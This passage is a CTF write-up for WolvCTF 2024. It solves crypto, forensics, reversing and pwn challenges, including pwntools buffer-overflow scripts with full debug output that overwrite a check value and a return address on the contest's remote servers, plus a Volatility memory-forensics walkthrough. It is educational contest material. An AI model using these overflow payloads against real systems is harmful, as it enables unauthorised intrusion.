Wolv CTF 2024 On this page https://ctftime.org/event/2240
CHALL’S SOLVED# Beginner# Crypto: yORs Truly <3# Overview Author: shlswnt
Description: I have encrypted some text but it seems I have lost the key! Can you find it?
Unlock Hint for 0 points: A string of text can be decrypted by merely reapplying the XOR function with the key
yors-truly.py
Given th first chall crypto beginner, this is a classic XOR encryption problem. The plaintext is XORed with a key to get the ciphertext. If we lost the key but have the plaintext and the ciphertext, we can retrieve the key by XORing the plaintext and the ciphertext.
1 import base64
2
3 plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
4 key = "" # I have lost the key!
5
6 def byte_xor ( ba1 , ba2 ):
7 return bytes ([ _a ^ _b for _a , _b in zip ( ba1 , ba2 )])
8
9 ciphertext_b64 = base64 . b64encode ( byte_xor ( key . encode (), plaintext . encode ()))
10
11 ciphertext_decoded = base64 . b64decode ( "NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==" )
12
13 print ( ciphertext_decoded )
Here’s how we can modify the code to find the key:
1 import base64
2
3 plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
4
5 def byte_xor ( ba1 , ba2 ):
6 return bytes ([ _a ^ _b for _a , _b in zip ( ba1 , ba2 )])
7
8 ciphertext_decoded = base64 . b64decode ( "NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==" )
9
10 key = byte_xor ( plaintext . encode (), ciphertext_decoded )
11
12 print ( key )
This will print the key that was used to encrypt the plaintext.
FLAG wctf{X0R_i5_f0rEv3r_My_L0Ve}
Crypto: TwoTimePad# Overview Author: cogsworth64
Description: One-time pads are perfectly information-theoretically secure, so I should be safe, right?
chall.py eFlag.bmp eWolverine.bmp
Second challenge crypto beginner is a classic example of the misuse a one-time pad (OTP). Called TwoTimePad
is a hint towards this. The key should be random, secret, and never reused. However in this challenge, the same key is used to encrypt two different encrypted files (eWolverine.bmp
& eFlag.bmp
).
1 from Crypto.Random import random , get_random_bytes
2
3 BLOCK_SIZE = 16
4
5 with ( open ( './genFiles/wolverine.bmp' , 'rb' )) as f :
6 wolverine = f . read ()
7 with ( open ( './genFiles/flag.bmp' , 'rb' )) as f :
8 flag = f . read ()
9
10 w = open ( 'eWolverine.bmp' , 'wb' )
11 f = open ( 'eFlag.bmp' , 'wb' )
12
13 f . write ( flag [: 55 ])
14 w . write ( wolverine [: 55 ])
15
16 for i in range ( 55 , len ( wolverine ), BLOCK_SIZE ):
17 KEY = get_random_bytes ( BLOCK_SIZE )
18 w . write ( bytes ( a ^ b for a , b in zip ( wolverine [ i : i + BLOCK_SIZE ], KEY )))
19 f . write ( bytes ( a ^ b for a , b in zip ( flag [ i : i + BLOCK_SIZE ], KEY )))
The headers of the BMP files contain important information such as the size, color depth, compression method, etc. In the provided Python script, the headers of the original images are preserved. However, if we XOR the two encrypted images together, the headers are also XOR-ed.
Then, we need to XOR the two encrypted images together. Since the same key was used for both, this will effectively cancel out the key, leaving with the XOR of the two original images.
1 HEADER_SIZE = 55 # Size of the BMP header
2
3 with open ( 'eWolverine.bmp' , 'rb' ) as f :
4 eWolverine = f . read ()
5 with open ( 'eFlag.bmp' , 'rb' ) as f :
6 eFlag = f . read ()
7
8 header = eWolverine [: HEADER_SIZE ]
9
10 xor = header + bytes ( a ^ b for a , b in zip ( eWolverine [ HEADER_SIZE :], eFlag [ HEADER_SIZE :]))
11
12 with open ( 'out.bmp' , 'wb' ) as f :
13 f . write ( xor )
FLAG wctf{D0NT_R3CYCLE_K3Y5}
Forensics: Hidden Data# Overview Author: dree_
Description: WOLPHV sent me this file. Not sure what to comment about it
wctf_evil.jpg
Given an image file of Wolv CTF logo,
I was assumed there’s a flag on the metadata or like LSB hidden-data, and if we take look at the metada of it, we can find the flag instantly in Comment
tag
$ exiftool wctf_evil.jpg
ExifTool Version Number : 12.40
File Name : wctf_evil.jpg
Directory : .
File Size : 11 KiB
File Modification Date/Time : 2024:03:15 17:23:14+07:00
File Access Date/Time : 2024:03:18 05:44:58+07:00
File Inode Change Date/Time : 2024:03:16 11:14:42+07:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : wctf{ h1dd3n_d4t4_n0T_s0_h1dD3N}
Image Width : 250
Image Height : 307
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 ( 2 2)
Image Size : 250x307
Megapixels : 0.077
$ file wctf_evil.jpg
wctf_evil.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}" , progressive, precision 8, 250x307, components 3
FLAG wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}
Pwn: babypwn# Overview Author: iqlusion
Description: Just a little baby pwn.
Connection: nc babypwn.wolvctf.io 1337
babypwn babypwn.c
Given two attachments of this challenge babypwn
& babypwn.c
, is a baby bof (buffer overflow) vulnerability.
$ file babypwn
babypwn: ELF 64-bit LSB executable, x86-64, version 1 ( SYSV) , dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec babypwn
[ *] '/home/nopedawn/CCUG/WolvCTF24/babypwn/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x400000)
1 #include <stdio.h>
2 #include <string.h>
3 #include <unistd.h>
4
5 struct __attribute__ (( __packed__ )) data {
6 char buff [ 32 ];
7 int check ;
8 };
9
10 void ignore ( void )
11 {
12 setvbuf ( stdout , NULL , _IONBF , 0 );
13 setvbuf ( stdin , NULL , _IONBF , 0 );
14 }
15
16 void get_flag ( void )
17 {
18 char flag [ 1024 ] = { 0 };
19 FILE * fp = fopen ( "flag.txt" , "r" );
20 fgets ( flag , 1023 , fp );
21 printf ( flag );
22 }
23
24 int main ( void )
25 {
26 struct data name ;
27 ignore (); /* ignore this function */
28
29 printf ( "What's your name? \n " );
30 fgets ( name . buff , 64 , stdin );
31 sleep ( 2 );
32 printf ( "%s nice to meet you! \n " , name . buff );
33 sleep ( 2 );
34 printf ( "Binary exploitation is the best! \n " );
35 sleep ( 2 );
36 printf ( "Memory unsafe languages rely on coders to not make mistakes. \n " );
37 sleep ( 2 );
38 printf ( "But I don't worry, I write perfect code :) \n " );
39 sleep ( 2 );
40
41 if ( name . check == 0x41414141 ) {
42 get_flag ();
43 }
44
45 return 0 ;
46 }
The fgets
function in the main
function reads 64 bytes into name.buff
, which is only 32 bytes long. This can lead to an overflow of the check
variable if more than 32 bytes are entered.
To exploit this, we need to enter 32 bytes to fill up the buff
array, and then 4 more bytes to overwrite the check
variable with the value 0x41414141
. Here’s an solver:
1 from pwn import *
2
3 def exploit ( io ):
4 io . recvuntil ( b "What's your name?" )
5
6 payload = b 'A' * 32
7 payload += p32 ( 0x41414141 )
8 io . sendline ( payload )
9
10 # output = io.recvall()
11 # print(output)
12 io . interactive ()
13
14 if __name__ == "__main__" :
15 context . update ( log_level = 'debug' )
16 try :
17 io = remote ( 'babypwn.wolvctf.io' , 1337 )
18 exploit ( io )
19 except :
20 io = process ( './babypwn' )
21 exploit ( io )
$ python3 solver.py
[ +] Opening connection to babypwn.wolvctf.io on port 1337: Done
[ DEBUG] Received 0x1e bytes:
b'== proof-of-work: disabled ==\n'
[ DEBUG] Received 0x12 bytes:
b"What's your name?\n"
[ DEBUG] Sent 0x25 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[ *] Switching to interactive mode
[ DEBUG] Received 0x38 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
b' nice to meet you!\n'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nice to meet you!
[ DEBUG] Received 0x21 bytes:
b'Binary exploitation is the best!\n'
Binary exploitation is the best!
[ DEBUG] Received 0x3d bytes:
b'Memory unsafe languages rely on coders to not make mistakes.\n'
Memory unsafe languages rely on coders to not make mistakes.
[ DEBUG] Received 0x2b bytes:
b"But I don't worry, I write perfect code :)\n"
But I don't worry, I write perfect code :)
[DEBUG] Received 0x20 bytes:
b' wctf{ pwn_1s_th3_best_Categ0ry!} \n '
wctf{pwn_1s_th3_best_Categ0ry!}
[*] Got EOF while reading in interactive
$ q
[DEBUG] Sent 0x2 bytes:
b' q\n '
$ q
[DEBUG] Sent 0x2 bytes:
b' q\n '
[ *] Closed connection to babypwn.wolvctf.io port 1337
[ *] Got EOF while sending in interactive
FLAG wctf{pwn_1s_th3_best_Categ0ry!}
Pwn: babypwn2# Overview Author: retu2libc
Description: A harder babypwn.
Connection: nc babypwn2.wolvctf.io 1337
babypwn2 babypwn2.c
The second one is babypwn2
$ file babypwn2 && checksec babypwn2
babypwn2: ELF 64-bit LSB executable, x86-64, version 1 ( SYSV) , dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
[ *] '/home/nopedawn/CCUG/WolvCTF24/babypwn2/babypwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE ( 0x400000)
1 #include <stdio.h>
2 #include <unistd.h>
3
4 /* ignore this function */
5 void ignore ()
6 {
7 setvbuf ( stdout , NULL , _IONBF , 0 );
8 setvbuf ( stdin , NULL , _IONBF , 0 );
9 }
10
11 void get_flag ()
12 {
13 char * args [] = { "/bin/cat" , "flag.txt" , NULL };
14 execve ( args [ 0 ], args , NULL );
15 }
16
17 int main ()
18 {
19 ignore ();
20 char buf [ 0x20 ];
21 printf ( "What's your name? \n >> " );
22 gets ( buf );
23 printf ( "Hi %s! \n " , buf );
24 return 0 ;
25 }
The gets
function is dangerous because it does not check the size of the input, which can lead to a buffer overflow. In this case, the buffer buf
is of size 0x20
(32 bytes), but gets
will write past the end of the buffer if given an input larger than 32 bytes.
$ gdb ./babypwn2
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 printf@plt
0x0000000000401040 execve@plt
0x0000000000401050 gets@plt
0x0000000000401060 setvbuf@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401152 ignore
0x0000000000401195 get_flag
0x00000000004011d0 main
0x0000000000401220 __libc_csu_init
0x0000000000401280 __libc_csu_fini
0x0000000000401284 _fini
gef➤
The goal here is to overwrite the return address of the main
function with the address of the get_flag
function. This can be done by sending an input of 32 bytes (to fill up the buffer) plus the size of the saved base pointer (usually 8 bytes on a 64-bit system), followed by the address of the get_flag
function.
1 from pwn import *
2
3 def exploit ( io ):
4 io . recvuntil ( b "What's your name?" )
5
6 get_flag_address = 0x401195
7
8 payload = b 'A' * 32
9 payload += b 'B' * 8
10 payload += p64 ( get_flag_address )
11 io . sendline ( payload )
12
13 # output = io.recvall()
14 # print(output)
15 io . interactive ()
16
17 if __name__ == "__main__" :
18 context . update ( log_level = 'debug' )
19 try :
20 io = remote ( 'babypwn2.wolvctf.io' , 1337 )
21 exploit ( io )
22 except :
23 io = process ( './babypwn2' )
24 exploit ( io )
$ python3 solver.py
[ +] Opening connection to babypwn2.wolvctf.io on port 1337: Done
[ DEBUG] Received 0x1e bytes:
b'== proof-of-work: disabled ==\n'
[ DEBUG] Received 0x15 bytes:
b"What's your name?\n"
b'>> '
[ DEBUG] Sent 0x31 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 42 42 42 42 42 42 42 42 95 11 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│
00000030 0a │·│
00000031
[ *] Switching to interactive mode
>> [ DEBUG] Received 0x52 bytes:
00000000 48 69 20 41 41 41 41 41 41 41 41 41 41 41 41 41 │Hi A│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 42 42 42 42 42 42 42 42 95 11 40 21 0a │AAAB│BBBB│BBB·│·@!·│
00000030 77 63 74 66 7b 57 6f 34 68 5f 6c 30 6f 6b 5f 34 │wctf│{ Wo4│h_l0│ok_4│
00000040 74 5f 79 30 75 5f 68 34 63 6b 31 6e 67 5f 6d 33 │t_y0│u_h4│ck1n│g_m3│
00000050 7d 0a │} ·│
00000052
Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x 95\x 11@!
wctf{ Wo4h_l0ok_4t_y0u_h4ck1ng_m3}
[ *] Got EOF while reading in interactive
$ q
[ DEBUG] Sent 0x2 bytes:
b'q\n'
$ q
[ DEBUG] Sent 0x2 bytes:
b'q\n'
[ *] Closed connection to babypwn2.wolvctf.io port 1337
[ *] Got EOF while sending in interactive
FLAG wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}
Rev: babyre# Overview Author: iqlusion
Description: Just a wee-little baby re challenge.
babyre
The next beginner challenge is Rev called babyre
$ ./babyre
How are you today?
I' m good
Not sure how to react to that :/
Did you checkout our cool sponsors?
You should totally check them out!
I think I am forgetting something...
Oh yea the flag!
But where did I put it...
I know its in here somewhere.
Dratts! Can you help me find it?
I swear its around here somewhere.
We can check on dissasembler like IDA Pro in strings segments
or simply strings it, we can get the flag
$ strings babyre | grep wctf
wctf{ n1c3_oNe_y0u_Found_m3}
FLAG wctf{n1c3_oNe_y0u_Found_m3}
Crypto# Limited 1# Overview Author: catgut6675
Description: It’s pretty easy to find random integers if you know the seed, but what if every second has a different seed?
chal_time.py
1 import time
2 import random
3 import sys
4
5 if __name__ == '__main__' :
6 flag = input ( "Flag? > " ) . encode ( 'utf-8' )
7 correct = [ 189 , 24 , 103 , 164 , 36 , 233 , 227 , 172 , 244 , 213 , 61 , 62 , 84 , 124 , 242 , 100 , 22 , 94 , 108 , 230 , 24 , 190 , 23 , 228 , 24 ]
8 time_cycle = int ( time . time ()) % 256
9 if len ( flag ) != len ( correct ):
10 print ( 'Nope :(' )
11 sys . exit ( 1 )
12 for i in range ( len ( flag )):
13 random . seed ( i + time_cycle )
14 if correct [ i ] != flag [ i ] ^ random . getrandbits ( 8 ):
15 print ( 'Nope :(' )
16 sys . exit ( 1 )
17 print ( flag )
The given Python script that uses the current time as a seed for the random number generator. The script then checks if the XOR of each character in the flag with a random 8-bit number equals the corresponding number in the correct
list. If all checks pass, the flag is printed.
To do that, we need to reverse the process. Here’s the solver:
1 import random
2
3 correct = [ 189 , 24 , 103 , 164 , 36 , 233 , 227 , 172 , 244 , 213 , 61 , 62 , 84 , 124 , 242 , 100 , 22 , 94 , 108 , 230 , 24 , 190 , 23 , 228 , 24 ]
4
5 for time_cycle in range ( 256 ):
6 flag = ""
7 for i in range ( len ( correct )):
8 random . seed ( i + time_cycle )
9 char = correct [ i ] ^ random . getrandbits ( 8 )
10 flag += chr ( char )
11
12 if all ( ' ' <= c <= '~' for c in flag ):
13 print ( f "time_cycle: { time_cycle } \n flag: { flag } " )
$ python3 solver.py
time_cycle: 188
flag: wctf{ f34R_0f_m1ss1ng_0ut}
FLAG wctf{f34R_0f_m1ss1ng_0ut}
Forensics# Eternally Pwned: Infiltration# Overview Author: dree_
Description: I recently had my passwords and other sensitive data leaked, but I have no idea how. Can you figure out how the attacker got in to my PC?
network-capture.pcap
Given the forensics challenge, we need to investigate data for evidence of network packet capture network-capture.png
We can investigate with Wireshark and analyze the every packet bytes, if we filter the most interraction is on tcp
protocol & smb
protocol. Both we’re gonna focusing on (tcp
/ smb
) packet interraction.
If we filter the packet in number 446
& 550
or filter tcp.stream eq 4
(both are same filtering)
We can see the bunch of “A” characters, and if wee look closely there’s look like a base64 string between the “A” characters
Note that we have found these, next we can grep the base64 string or using tshark
$ tshark -r network-capture.pcap -Y "frame.number == 446" -x
0000 00 0c 29 ce 19 19 00 0c 29 95 a9 e6 08 00 45 00 ..) .....) .....E.
0010 00 6d bc 93 40 00 40 06 f5 95 c0 a8 03 85 c0 a8 .m..@.@.........
0020 03 8c b6 f1 01 bd 3f d8 46 5d d3 e1 93 41 80 18 ......?.F] ...A..
0030 00 f9 b7 6e 00 00 01 01 08 0a 48 40 d9 94 00 00 ...n......H@....
0040 72 c3 00 00 00 35 ff 53 4d 42 2b 00 00 00 00 18 r....5.SMB+.....
0050 01 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .` ..............
0060 00 00 00 08 00 00 01 01 00 10 00 64 32 4e 30 5a ...........d2N0Z
0070 6e 74 73 4d 33 52 54 58 77 3d 3d ntsM3RTXw ==
$ echo "d2N0ZntsM3RTXw==" | base64 -d
wctf{ l3tS_
We’ve got the first part wctf{l3tS_
$ tshark -r network-capture.pcap -Y "frame.number == 550" -x
0d20 41 41 41 41 4d 33 52 6c 55 6d 34 30 62 45 78 35 AAAAM3RlUm40bEx5
0d30 58 32 63 77 58 77 3d 3d 41 41 41 41 41 41 41 41 X2cwXw == AAAAAAAA
0f20 41 41 41 41 41 41 41 41 41 41 41 41 59 6b 78 56 AAAAAAAAAAAAYkxV
0f30 4d 31 38 33 62 6a 6c 33 62 54 52 70 56 32 35 4d M183bjl3bTRpV25M
0f40 66 51 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 fQ == AAAAAAAAAAAA
$ echo "M3RlUm40bEx5X2cwXw==" | base64 -d
3teRn4lLy_g0_
$ echo "YkxVM183bjl3bTRpV25MfQ==" | base64 -d
bLU3_7n9wm4iWnL}
then the two last part 3teRn4lLy_g0_
& bLU3_7n9wm4iWnL}
FLAG wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL}
Eternally Pwned: Persistence# Overview Author: dree_
Description: I get that the attackers were in my PC, but how did they achieve persistence?
MEMORY.DMP
The next forensics challenge is Persistence
, that we have to investigate the dump of memory unknown profile
So we can use strings
or another method to determine some profile informations like trying this examples:
$ strings MEMORY.DMP | grep "notepad"
$ strings MEMORY.DMP | grep "microsoft"
$ strings MEMORY.DMP | grep "windows"
(a bit ridiculous, but helpful 🗿)
Note that we have already know this is a dump of windows, so we can retrieve the information of it with Volatility 3
$ volatility3 -f MEMORY.DMP windows.info
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
Variable Value
Kernel Base 0xf80001852000
DTB 0x187000
Symbols file:///home/nopedawn/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/3844DBB920174967BE7AA4A2C20430FA-2.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 WindowsCrashDump64Layer
base_layer 2 FileLayer
KdDebuggerDataBlock 0xf80001a430a0
NTBuildLab 7601.17514.amd64fre.win7sp1_rtm.
CSDVersion 1
KdVersionBlock 0xf80001a43068
Major/Minor 15.7601
MachineType 34404
KeNumberProcessors 1
SystemTime 2024-03-09 12:05:40
NtSystemRoot C:\W indows
NtProductType NtProductServer
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine 34404
PE TimeDateStamp Sat Nov 20 09:30:02 2010
See! It’s a dump of windows, now we can retrieve the information of process are running
$ volatility3 -f MEMORY.DMP windows.pstree
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset( V) Threads Handles SessionId Wow64 CreateTime ExitTime
4 0 System 0xfa8018d8db30 71 497 N/A False 2024-03-09 11:47:48.000000 N/A
* 224 4 smss.exe 0xfa8019c06310 2 29 N/A False 2024-03-09 11:47:48.000000 N/A
296 288 csrss.exe 0xfa801a39a750 9 341 0 False 2024-03-09 11:47:49.000000 N/A
348 288 wininit.exe 0xfa801a3b8b30 4 77 0 False 2024-03-09 11:47:49.000000 N/A
* 468 348 lsm.exe 0xfa801a40eb30 11 144 0 False 2024-03-09 11:47:49.000000 N/A
* 460 348 lsass.exe 0xfa801a4083b0 8 569 0 False 2024-03-09 11:47:49.000000 N/A
* 444 348 services.exe 0xfa801a3ff5f0 9 200 0 False 2024-03-09 11:47:49.000000 N/A
** 640 444 svchost.exe 0xfa801a54bb30 9 243 0 False 2024-03-09 11:47:50.000000 N/A
** 1536 444 spoolsv.exe 0xfa801a93fb30 13 254 0 False 2024-03-09 11:56:05.000000 N/A
** 908 444 svchost.exe 0xfa801a5ccb30 8 197 0 False 2024-03-09 11:47:50.000000 N/A
*** 1304 908 dwm.exe 0xfa801a75a060 4 66 1 False 2024-03-09 11:47:51.000000 N/A
** 1040 444 svchost.exe 0xfa801a6d0060 4 46 0 False 2024-03-09 11:47:51.000000 N/A
** 2040 444 mscorsvw.exe 0xfa801a85db30 8 84 0 True 2024-03-09 11:49:52.000000 N/A
** 1956 444 sppsvc.exe 0xfa801a87f4f0 5 151 0 False 2024-03-09 11:47:59.000000 N/A
** 812 444 svchost.exe 0xfa801a5a49e0 34 953 0 False 2024-03-09 11:47:50.000000 N/A
** 1200 444 taskhost.exe 0xfa801a722b30 6 117 1 False 2024-03-09 11:47:51.000000 N/A
** 692 444 svchost.exe 0xfa801a5645f0 14 288 0 False 2024-03-09 11:47:50.000000 N/A
** 948 444 svchost.exe 0xfa801a5dc5f0 17 441 0 False 2024-03-09 11:47:50.000000 N/A
** 1332 444 mscorsvw.exe 0xfa801a705060 8 75 0 False 2024-03-09 11:49:52.000000 N/A
** 312 444 spoolsv.exe 0xfa801a6a6670 0 - 0 False 2024-03-09 11:47:51.000000 2024-03-09 11:55:05.000000
** 1852 444 msdtc.exe 0xfa8018e3e620 13 142 0 False 2024-03-09 11:49:53.000000 N/A
** 576 444 svchost.exe 0xfa801a521b30 12 348 0 False 2024-03-09 11:47:50.000000 N/A
*** 1848 576 WmiPrvSE.exe 0xfa801a500a10 7 118 0 False 2024-03-09 12:04:55.000000 N/A
*** 2052 576 WmiPrvSE.exe 0xfa801990fb30 9 248 0 False 2024-03-09 12:04:56.000000 N/A
** 1992 444 svchost.exe 0xfa801a46c220 6 67 0 False 2024-03-09 11:49:53.000000 N/A
** 860 444 svchost.exe 0xfa801a5c05a0 11 273 0 False 2024-03-09 11:47:50.000000 N/A
** 1380 444 svchost.exe 0xfa801a78e730 6 99 0 False 2024-03-09 11:47:52.000000 N/A
** 240 444 svchost.exe 0xfa801a41d060 18 295 0 False 2024-03-09 11:47:50.000000 N/A
** 2168 444 TrustedInstall 0xfa801a4fab30 7 223 0 False 2024-03-09 12:04:57.000000 N/A
360 340 csrss.exe 0xfa801a3bf060 7 266 1 False 2024-03-09 11:47:49.000000 N/A
* 988 360 conhost.exe 0xfa801a85e1d0 2 38 1 False 2024-03-09 11:49:15.000000 N/A
* 1868 360 conhost.exe 0xfa801a4a8630 2 38 1 False 2024-03-09 11:50:05.000000 N/A
408 340 winlogon.exe 0xfa801a3f75c0 4 97 1 False 2024-03-09 11:47:49.000000 N/A
1320 1292 explorer.exe 0xfa801a7637c0 30 712 1 False 2024-03-09 11:47:52.000000 N/A
* 896 1320 multireader.ex 0xfa801a8601d0 2 57 1 False 2024-03-09 11:54:50.000000 N/A
* 804 1320 cmd.exe 0xfa801a496450 1 21 1 False 2024-03-09 11:50:05.000000 N/A
* 1644 1320 notepad.exe 0xfa801a4ba060 1 57 1 False 2024-03-09 11:52:04.000000 N/A
* 1804 1320 cGFzdGViaW4uY2 0xfa801a8de800 8 258 1 False 2024-03-09 11:54:49.000000 N/A
* 1680 1320 cmd.exe 0xfa801a862060 1 19 1 False 2024-03-09 11:49:15.000000 N/A
* 1272 1320 iexplore.exe 0xfa801a983b30 11 381 1 True 2024-03-09 11:55:44.000000 N/A
** 1284 1272 iexplore.exe 0xfa801a503b30 16 348 1 True 2024-03-09 11:55:45.000000 N/A
2568 2492 taskmgr.exe 0xfa801ac2db30 7 124 1 False 2024-03-09 12:05:33.000000 N/A
I see there is a strange process running on PID: 1804
, look like base64 cGFzdGViaW4uY2
$ echo "cGFzdGViaW4uY2" | base64 -d
pastebin.c
Hmm, A pastebin running on windows? What about the command-line dump history?
$ volatility3 -f MEMORY.DMP windows.cmdline
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID Process Args
4 System Required memory at 0x20 is not valid ( process exited?)
224 smss.exe \S ystemRoot\S ystem32\s mss.exe
296 csrss.exe %SystemRoot%\s ystem32\c srss.exe ObjectDirectory = \W indows SharedSection = 1024,20480,768 Windows = On SubSystemType = Windows ServerDll = basesrv,1 ServerDll = winsrv:UserServerDllInitialization,3 ServerDll = winsrv:ConServerDllInitialization,2 ServerDll = sxssrv,4 ProfileControl = Off MaxRequestThreads = 16
348 wininit.exe wininit.exe
360 csrss.exe %SystemRoot%\s ystem32\c srss.exe ObjectDirectory = \W indows SharedSection = 1024,20480,768 Windows = On SubSystemType = Windows ServerDll = basesrv,1 ServerDll = winsrv:UserServerDllInitialization,3 ServerDll = winsrv:ConServerDllInitialization,2 ServerDll = sxssrv,4 ProfileControl = Off MaxRequestThreads = 16
408 winlogon.exe winlogon.exe
444 services.exe C:\W indows\s ystem32\s ervices.exe
460 lsass.exe C:\W indows\s ystem32\l sass.exe
468 lsm.exe C:\W indows\s ystem32\l sm.exe
576 svchost.exe C:\W indows\s ystem32\s vchost.exe -k DcomLaunch
640 svchost.exe C:\W indows\s ystem32\s vchost.exe -k RPCSS
692 svchost.exe C:\W indows\S ystem32\s vchost.exe -k LocalServiceNetworkRestricted
812 svchost.exe C:\W indows\s ystem32\s vchost.exe -k netsvcs
860 svchost.exe C:\W indows\s ystem32\s vchost.exe -k LocalService
908 svchost.exe C:\W indows\S ystem32\s vchost.exe -k LocalSystemNetworkRestricted
948 svchost.exe C:\W indows\s ystem32\s vchost.exe -k NetworkService
240 svchost.exe C:\W indows\s ystem32\s vchost.exe -k LocalServiceNoNetwork
312 spoolsv.exe Required memory at 0x7fffffdf020 is not valid ( process exited?)
1040 svchost.exe C:\W indows\s ystem32\s vchost.exe -k regsvc
1200 taskhost.exe "taskhost.exe"
1304 dwm.exe "C:\Windows\system32\Dwm.exe"
1320 explorer.exe C:\W indows\E xplorer.EXE
1380 svchost.exe C:\W indows\s ystem32\s vchost.exe -k NetworkServiceNetworkRestricted
1956 sppsvc.exe C:\W indows\s ystem32\s ppsvc.exe
1680 cmd.exe "C:\Windows\system32\cmd.exe"
988 conhost.exe \? ?\C :\W indows\s ystem32\c onhost.exe
2040 mscorsvw.exe C:\W indows\M icrosoft.NET\F ramework\v 2.0.50727\m scorsvw.exe
1332 mscorsvw.exe C:\W indows\M icrosoft.NET\F ramework64\v 2.0.50727\m scorsvw.exe
1992 svchost.exe C:\W indows\s ystem32\s vchost.exe -k LocalServiceAndNoImpersonation
1852 msdtc.exe C:\W indows\S ystem32\m sdtc.exe
804 cmd.exe "C:\Windows\system32\cmd.exe"
1868 conhost.exe \? ?\C :\W indows\s ystem32\c onhost.exe
1644 notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\U sers\j oe\D esktop\s chedule.txt
1804 cGFzdGViaW4uY2 "C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe"
896 multireader.ex "C:\temp\multireader.exe"
1272 iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
1284 iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1272 CREDAT:71937
1536 spoolsv.exe C:\W indows\S ystem32\s poolsv.exe
1848 WmiPrvSE.exe C:\W indows\s ystem32\w bem\w miprvse.exe
2052 WmiPrvSE.exe C:\W indows\s ystem32\w bem\w miprvse.exe
2168 TrustedInstall C:\W indows\s ervicing\T rustedInstaller.exe
2568 taskmgr.exe "C:\Windows\system32\taskmgr.exe" /1
Look athe process running cGFzdGViaW4uY29tL3lBYTFhS2l1.exe
, decode it cGFzdGViaW4uY29tL3lBYTFhS2l1
$ echo "cGFzdGViaW4uY29tL3lBYTFhS2l1" | base64 -d
pastebin.com/yAa1aKiu
That’s a pastebin link https://pastebin.com/yAa1aKiu , and there’s a flag on it
FLAG wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}
Misc# Made Sense# Overview Author: doubledelete
Description: i couldn’t log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn’t log in :P
https://madesense-okntin33tq-ul.a.run.app/
This challenge is Misc PyJail/MakeJail called Made Sense
that written using the Flask.
1 import os
2 from pathlib import Path
3 import re
4 import subprocess
5 import tempfile
6
7 from flask import Flask , request , send_file
8
9 app = Flask ( __name__ )
10 flag = open ( 'flag.txt' ) . read ()
11
12 def write_flag ( path ):
13 with open ( path / 'flag.txt' , 'w' ) as f :
14 f . write ( flag )
15
16 def generate_makefile ( name , content , path ):
17 with open ( path / 'Makefile' , 'w' ) as f :
18 f . write ( f """
19 SHELL := /bin/bash
20 .PHONY: { name }
21 { name } : flag.txt
22 \t { content }
23 """ )
24
25 @app.route ( '/' , methods = [ 'GET' ])
26 def index ():
27 return send_file ( 'index.html' )
28
29 @app.route ( '/src/' , methods = [ 'GET' ])
30 def src ():
31 return send_file ( __file__ )
32
33 # made sense
34 @app.route ( '/make' , methods = [ 'POST' ])
35 def make ():
36 target_name = request . form . get ( 'name' )
37 code = request . form . get ( 'code' )
38
39 print ( code )
40 if not re . fullmatch ( r '[A-Za-z0-9]+' , target_name ):
41 return 'no'
42 if ' \n ' in code :
43 return 'no'
44 if re . search ( r 'flag' , code ):
45 return 'no'
46
47 with tempfile . TemporaryDirectory () as dir :
48 run_dir = Path ( dir )
49 write_flag ( run_dir )
50 generate_makefile ( target_name , code , run_dir )
